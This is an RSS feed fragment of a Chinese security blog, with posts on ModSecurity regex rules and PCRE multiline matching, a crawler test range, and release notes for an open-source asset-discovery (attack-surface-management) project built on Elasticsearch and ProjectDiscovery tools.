&#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">#!/</code> 开头。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">modsecurity的正则引擎是pcre，所以 ^号是匹配每一行的开头还是匹配一个文件的开头，这取决于 PCRE_MULTILINE 修饰符是否开启。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在 <a href="https://github.com/SpiderLabs/ModSecurity/blob/v3.0.9/src/utils/regex.cc#L68" target="_blank">https://github.com/SpiderLabs/ModSecurity/blob/v3.0.9/src/utils/regex.cc#L68</a></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">PCRE2_SPTR pcre2_pattern = reinterpret_cast&lt;PCRE2_SPTR&gt;(pattern.c_str());<br/>uint32_t pcre2_options = (PCRE2_DOTALL|PCRE2_MULTILINE);<br/><span style="color: #c678dd;line-height: 26px;">if</span> (ignoreCase) {<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">代码中看到 PCRE_MULTILINE选项 默认是开启的，所以^号匹配每一行的开头。所以上面的规则可以优化成</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">SecRule RESPONSE_BODY <span style="color: #98c379;line-height: 26px;">&#34;@rx ^(.{10})&#34;</span> \          // 先取出响应头前十个字节<br/>    <span style="color: #98c379;line-height: 26px;">&#34;id:950140,\<br/>    ...<br/>    setvar:&#39;tx.first_ten_chars=%{tx.1}&#39;,\<br/>    chain&#34;</span><br/>    SecRule TX:FIRST_TEN_CHARS <span style="color: #98c379;line-height: 26px;">&#34;@rx ^#\!\s?/&#34;</span> \   // 针对前十个字节做匹配<br/>      ...<span style="color: #98c379;line-height: 26px;">&#34;<br/></span></code></pre><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">更多讨论，可以看 <a href="https://github.com/coreruleset/coreruleset/issues/3266。modsecurity" target="_blank">https://github.com/coreruleset/coreruleset/issues/3266。modsecurity</a> v3、modsecurity v2、Coraza 等表现都不一致。</p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">其他语言的正则库提供的接口也会提供MULTILINE修饰符，比如Python如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">&gt;&gt;&gt; import re<br/>&gt;&gt;&gt; re.findall(<span style="color: #98c379;line-height: 26px;">&#34;^2&#34;</span>,<span style="color: #98c379;line-height: 26px;">&#34;1\n2\n3&#34;</span>)        <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 默认没有开启MULTILINE，^就只匹配文本的开头</span><br/>[]<br/>&gt;&gt;&gt; re.findall(<span style="color: #98c379;line-height: 26px;">&#34;^2&#34;</span>,<span style="color: #98c379;line-height: 26px;">&#34;1\n2\n3&#34;</span>,re.MULTILINE)   <span style="color: #5c6370;font-style: italic;line-height: 26px;"># 开启MULTILINE，^就会匹配每一行的开头</span><br/>[<span style="color: #98c379;line-height: 26px;">&#39;2&#39;</span>]<br/>&gt;&gt;&gt; re.findall(<span style="color: #98c379;line-height: 26px;">&#34;(?m)^2&#34;</span>,<span style="color: #98c379;line-height: 26px;">&#34;1\n2\n3&#34;</span>)      <span style="color: #5c6370;font-style: italic;line-height: 26px;"># (?m) 也可以开启MULTILINE</span><br/>[<span style="color: #98c379;line-height: 26px;">&#39;2&#39;</span>]<br/></code></pre><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">虽然正则初学者可以用大模型去写正则，但是也应该了解到不同引擎支持的正则特性不同、正则的修饰符等基础知识。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在规则编写前，也应该清楚正则引擎默认开启的修饰符选项有哪些。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">pcre库: <em><a href="https://www.pcre.org/" target="_blank">https://www.pcre.org/</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485429">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=23cb6276&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485429%26idx%3D1%26sn%3Dc3e6b7558d9c5d48e1d1a0546d44e728%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 17 Dec 2023 23:47:00 +0800</pubDate>
    </item>
    <item>
      <title>写了一个测爬虫能力的靶场，因为目前leveryd-asm的爬虫能力是基于katana，就测试了一下，结果看到很多场景里目前katana还不能解析页面中的链接。&#xA;&#xA;测试的结果：https://github.com/projectdiscovery/katana/issues/415&#xA;&#xA;爬虫靶场项目：https://github.com/leveryd-asm/crawler-test</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485360&amp;idx=1&amp;sn=c108c3d186ab7ae85d50116b9b01bf96</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-04-20 20:25</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>
<p>写了一个测爬虫能力的靶场，因为目前leveryd-asm的爬虫能力是基于katana，就测试了一下，结果看到很多场景里目前katana还不能解析页面中的链接。</p>
<p></p>
<p>测试的结果：https://github.com/projectdiscovery/katana/issues/415</p>
<p></p>
<p>爬虫靶场项目：https://github.com/leveryd-asm/crawler-test</p>




<div id="js_top_profile" class="profile_area_hide"><div id="follow_placeholder" aria-hidden="true" class="wx_follow_context wx_follow_primary wx_follow_smart wx_follow_top "><div class="wx_follow_media weui-flex weui-flex_align-center "><div class="wx_follow_hd "><img src="http://mmbiz.qpic.cn/mmbiz_png/FwyeCXsWiaYzLqic1QRTmPcgwxruJG9yRD0jsKyhb8rL8oHWWCMyAIibge74Wy4jF0epz8iblImDLmxGibwcf9wVPibg/300?wx_fmt=png" class="wx_follow_avatar "/></div> <div class="wx_follow_bd weui-flex__item "><div class="wx_follow_info "><div class="wx_follow_nickname ">leveryd</div></div></div></div></div></div> <div class="share_notice js_share_notice_dom  "><!----> </div>   <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <!----> <div role="option" class="rich_media_meta_list "><div class="rich_media_meta_area_primary "><!----> <span id="content_read_num" class="rich_media_meta rich_media_meta_text rich_media_meta_empty_hide "></span> </div> <div class="rich_media_meta_area_extra "><span id="publish_time" class="rich_media_meta rich_media_meta_text "></span>  <span id="js_ip_wording_wrp" class="rich_media_meta rich_media_meta_text " style="display:none;"><span id="js_ip_wording"></span></span></div></div>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=eb63f2b7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485360%26idx%3D1%26sn%3Dc108c3d186ab7ae85d50116b9b01bf96%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 20 Apr 2023 20:25:00 +0800</pubDate>
    </item>
    <item>
      <title>asm项目v0.0.3版本总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485349&amp;idx=1&amp;sn=2cba596c66582dd3def6cba328486030</link>
      <description>此次更新，用户能够在argo ui创建多种类型资产的探测任务。结合elasticsearch功能丰富的查询api可以更加灵活地过滤出资产，对资产做更一步的处理。</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2023-03-14 15:09</span> <span style="display: inline-block;">北京</span>
</p>

<p>此次更新，用户能够在argo ui创建多种类型资产的探测任务。结合elasticsearch功能丰富的查询api可以更加灵活地过滤出资产，对资产做更一步的处理。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=33d5742e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbm1WYtvCv76CknMhNsw1XpvLHS88aw1VTHMiaLkYs7QNyZjmibW4OWgUA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>背景</h1><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8419354838709677" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1860" src="https://wechat2rss.xlab.app/img-proxy/?k=d7872643&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJb2qy1o1D8ZyZicAwBlXe96ZKmq5h1SVxrYZLGV3pV3ghR8STAvnbGE8A%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">文字版见 <a href="https://github.com/leveryd-asm/asm/releases/tag/v0.0.3" target="_blank">https://github.com/leveryd-asm/asm/releases/tag/v0.0.3</a></p></blockquote><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前<span style="color: #1e6bb8;font-weight: bold;">asm项目</span><sup style="line-height: 0;color: #1e6bb8;font-weight: bold;">[1]</sup>可以回答以下问题</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-1"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些favicon？favicon信息包括通用和公司图标</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些证书？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些asn号码？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些ip？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些web服务、首页信息？</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">公司有哪些端口信息？</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据当前的数据，尝试基于kibana做了X公司资产的dashboard<img class="rich_pages wxw-img" data-ratio="0.4908396946564885" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2620" src="https://wechat2rss.xlab.app/img-proxy/?k=b3acce20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJb8efaBMSY5vwLR0kW36V76mlSqoZzRBoICklD9xXP8Bjz4ShyaAfjHw%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面向你介绍一下本次更新中最重要的两类功能的设计和实现。</p><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>组织和资产的映射关系</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为什么需要这个呢？如果我们知道有哪些组织，并且知道哪些资产属于组织，就可以从企业角度管理资产，比如绘制上面的企业资产dashboard</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">网络测绘厂商或者攻击面管理厂商是怎么做这个事情的呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">zoomeye的org字段能够搜索指定组织的资产<img class="rich_pages wxw-img" data-ratio="0.5195035460992907" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2256" src="https://wechat2rss.xlab.app/img-proxy/?k=6078a1c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbo66nzoceq9CznV28OKUTT6QdukV00WFfc9H3aG7syZERV1gbqAlf0w%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;"><a href="https://0.zone/" target="_blank">https://0.zone/</a> 不支持 &#34;组织:xxx&#34; 这种查询语法，但也支持关键字搜索<img class="rich_pages wxw-img" data-ratio="0.777882797731569" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2116" src="https://wechat2rss.xlab.app/img-proxy/?k=5ceb61c1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbNBcrGibPAbCnEos4BKxLSbe2kCS2LHSeYj9HsMPvO929ZLRp0G9anuQ%2F640%3Fwx_fmt%3Dpng"/></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">zoomeye支持组织名搜索的功能我感觉挺神奇的，就比如程序怎么能知道一个c段有哪些组织名呢。根据证书、网页title、响应csp、重定向的地址等等信息，我们肉眼可以知道是哪个组织的，但是程序怎么根据这些信息得到一个组织名呢，而且程序还能准确的知道这个组织叫做谷歌而不是谷歌XXX、叫做twitter而不是推特 (打个比方)？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">再说组织和资产的映射关系也不是个简单的事情，比如A公司服务部署在谷歌云的虚拟机上，那虚拟机ip所属的组织是应该被标记成A公司还是谷歌呢？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">于是，我又测试了一下zoomeye搜索其他厂商，数据如下，看起来zoomeye的组织名并不是很&#34;万能&#34;。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">org:<span style="color: #98c379;line-height: 26px;">&#34;谷歌&#34;</span>  798,974条记录<br/>org:<span style="color: #98c379;line-height: 26px;">&#34;推特&#34;</span> 0条记录<br/>org:<span style="color: #98c379;line-height: 26px;">&#34;twitter&#34;</span> 642,676条记录<br/>org:<span style="color: #98c379;line-height: 26px;">&#34;小红书&#34;</span> 0条记录<br/>org:<span style="color: #98c379;line-height: 26px;">&#34;知乎&#34;</span> 0条记录<br/>org:<span style="color: #98c379;line-height: 26px;">&#34;拼多多&#34;</span> 0条记录<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">asm项目中目前是怎么做资产和组织映射的、怎么识别资产是属于哪个组织？</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">elasticsearch中每类资产都有org和org_num两个字段，org是字符串数组类型，存放组织标签信息，所以一个资产可以标记成多个组织拥有。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">目前是让用户手动配置去给资产打上对应组织的标签，比如证书组织中如果有baidu或者百度关键字，就给对应证书资产打上相应标签。有一个cronjob会每两小时根据用户的配置去更新一次映射关系。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;background: #282c34;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;">{ <span style="color: #98c379;line-height: 26px;">&#34;org&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;query&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;subject_org:baidu OR subject_org:百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;index&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;tls&#34;</span> }<br/>{ <span style="color: #98c379;line-height: 26px;">&#34;org&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;query&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;title:baidu OR title:百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;index&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;web-service&#34;</span> }<br/>{ <span style="color: #98c379;line-height: 26px;">&#34;org&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;query&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;response-body:baidu OR response-body:百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;index&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;web-service&#34;</span> }<br/>{ <span style="color: #98c379;line-height: 26px;">&#34;org&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;query&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;parsed-domain.registered_domain:baidu.com&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;index&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;web-service&#34;</span> }<br/>{ <span style="color: #98c379;line-height: 26px;">&#34;org&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;query&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;asn.as-name:baidu OR asn.as-name:百度&#34;</span>, <span style="color: #98c379;line-height: 26px;">&#34;index&#34;</span>: <span style="color: #98c379;line-height: 26px;">&#34;web-service&#34;</span> }<br/></code></pre><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">背后是怎么实现的呢？</section><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过 update_by_query 和 painless script 实现批量更新组织信息。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">读取配置、请求elasticsearch接口等功能是通过logstash实现而不是编程语言。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这个过程中遇到&#34;批量更新时，文档版本冲突&#34;的问题。通过调整pipeline.worker=1、logstash filter sleep插件等办法临时解决。</p><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">logstash配置见 <a href="https://github.com/leveryd-asm/asm/commit/bb353d5cb15eb441bb2b16a0c17d6f20a3a8b5ef" target="_blank">https://github.com/leveryd-asm/asm/commit/bb353d5cb15eb441bb2b16a0c17d6f20a3a8b5ef</a></p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>&#34;web首页、asn、端口、子域名、证书、favicon&#34;等资产信息探测并入库</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">pd组织的工具和elk结合起来很容易实现资产探测和入库：httpx、naabu、tls、subfinder等工具都支持json输出，logstash将json数据导入到elasticsearch中。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="1.7565217391304349" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="690" src="https://wechat2rss.xlab.app/img-proxy/?k=f31562d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbIFlDARWRthO2icRpq1qDxNvygreUXxWnic6KwTLqldWX6FL3eenjlj7g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个索引都会有一个first_create_time和last_update_time字段，分别表示文档第一次创建的时间和最近一次被更新的时间。这个时间字段可以用来发现新增的资产、过期的数据。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">索引的其他字段你可以通过elasticsearch查看，或者<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">httpx -json</code>、<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">naabu -json</code>等方式查看，这里我就不对字段做过多说明。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个索引也通过文档id做了去重，比如证书资产以<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">domain_ip_port</code>去重</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.05009276437847866" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="2156" src="https://wechat2rss.xlab.app/img-proxy/?k=825f4109&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbgqqibXr9ejVL57vRhSwDrdvfDFGSfyTbNuCR3PIE7rvBMxnqyIK20gA%2F640%3Fwx_fmt%3Dpng"/></figure><blockquote data-tool="mdnice编辑器" style="border-top: none;border-right: none;border-bottom: none;font-size: 0.9em;overflow: auto;border-left-color: rgba(0, 0, 0, 0.4);background: rgba(0, 0, 0, 0.05);color: rgb(106, 115, 125);padding: 10px 10px 10px 20px;margin-bottom: 20px;margin-top: 20px;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;color: black;line-height: 26px;">实现资产导入的logstash配置见 <a href="https://github.com/leveryd-asm/asm/blob/master/templates/argo-workflow-template-asset/level1/logstash/config.yaml" target="_blank">https://github.com/leveryd-asm/asm/blob/master/templates/argo-workflow-template-asset/level1/logstash/config.yaml</a></p></blockquote><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>v0.0.4版本</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">计划暂定如下，欢迎在 <a href="https://github.com/leveryd-asm/asm/issues/33" target="_blank">https://github.com/leveryd-asm/asm/issues/33</a> issue中讨论</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-ratio="0.8549511854951185" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="1434" src="https://wechat2rss.xlab.app/img-proxy/?k=c71d11ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFwyeCXsWiaYxbyszzZrqicShknWtGR8MJbyyqViaKAanQDXPniar6fGGuTZlibMaic7NpOapc2UxEibypbc4ubU0qU3QA%2F640%3Fwx_fmt%3Dpng"/></figure><h1 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 24px;"><span style="display: none;"></span>总结</h1><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此次更新，用户能够在argo ui创建多种类型资产的探测任务。结合elasticsearch功能丰富的查询api可以更加灵活地过滤出资产，对资产做更一步的处理。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">欢迎加我微信 happy_leveryd 或者 邮箱 leveryd@gmail.com 与我交流。</p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 20px;"><span style="display: block;">参考资料</span></h3><section data-tool="mdnice编辑器"><span style="display: flex;"><span style="display: inline;width: 10%;background-image: none;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;font-size: 80%;opacity: 0.6;line-height: 26px;font-family: ptima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">[1]</span><p style="display: inline;font-size: 14px;width: 90%;line-height: 26px;word-break: break-all;">asm项目: <em><a href="https://github.com/leveryd-asm/asm" target="_blank">https://github.com/leveryd-asm/asm</a></em></p></span></section></section><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247485349">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=015c0795&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkyMDIxMjE5MA%3D%3D%26mid%3D2247485349%26idx%3D1%26sn%3D2cba596c66582dd3def6cba328486030%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Mar 2023 15:09:00 +0800</pubDate>
    </item>
    <item>
      <title>asm项目v0.0.2版本总结</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&amp;mid=2247485331&amp;idx=1&amp;sn=85c4d525ff9869bbe27ea036f1a4eced</link>
      <description>背景今天asm项目v0.0.2版本[1]发布了，新增了一些功能：支持&#34;用户浏览器设置代理后访问网站，利用代理</description>
      <content:encoded><![CDATA[<p>
原创 <span>leveryd</span> <span>2023-02-23 22:39</span> <span style="display: inline-block;">北京</span>
</p>

<p>背景今天asm项目v0.0.2版本[1]发布了，新增了一些功能：支持"用户浏览器设置代理后访问网站，利用代理</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=cd559582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FFwyeCXsWiaYyOHIan1oiajITWHkxADah50BjlVTA0qBg1BkKGibLmicIeaibUczBG55LYyEaLlh4vichD5FZdPsEJ0eA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


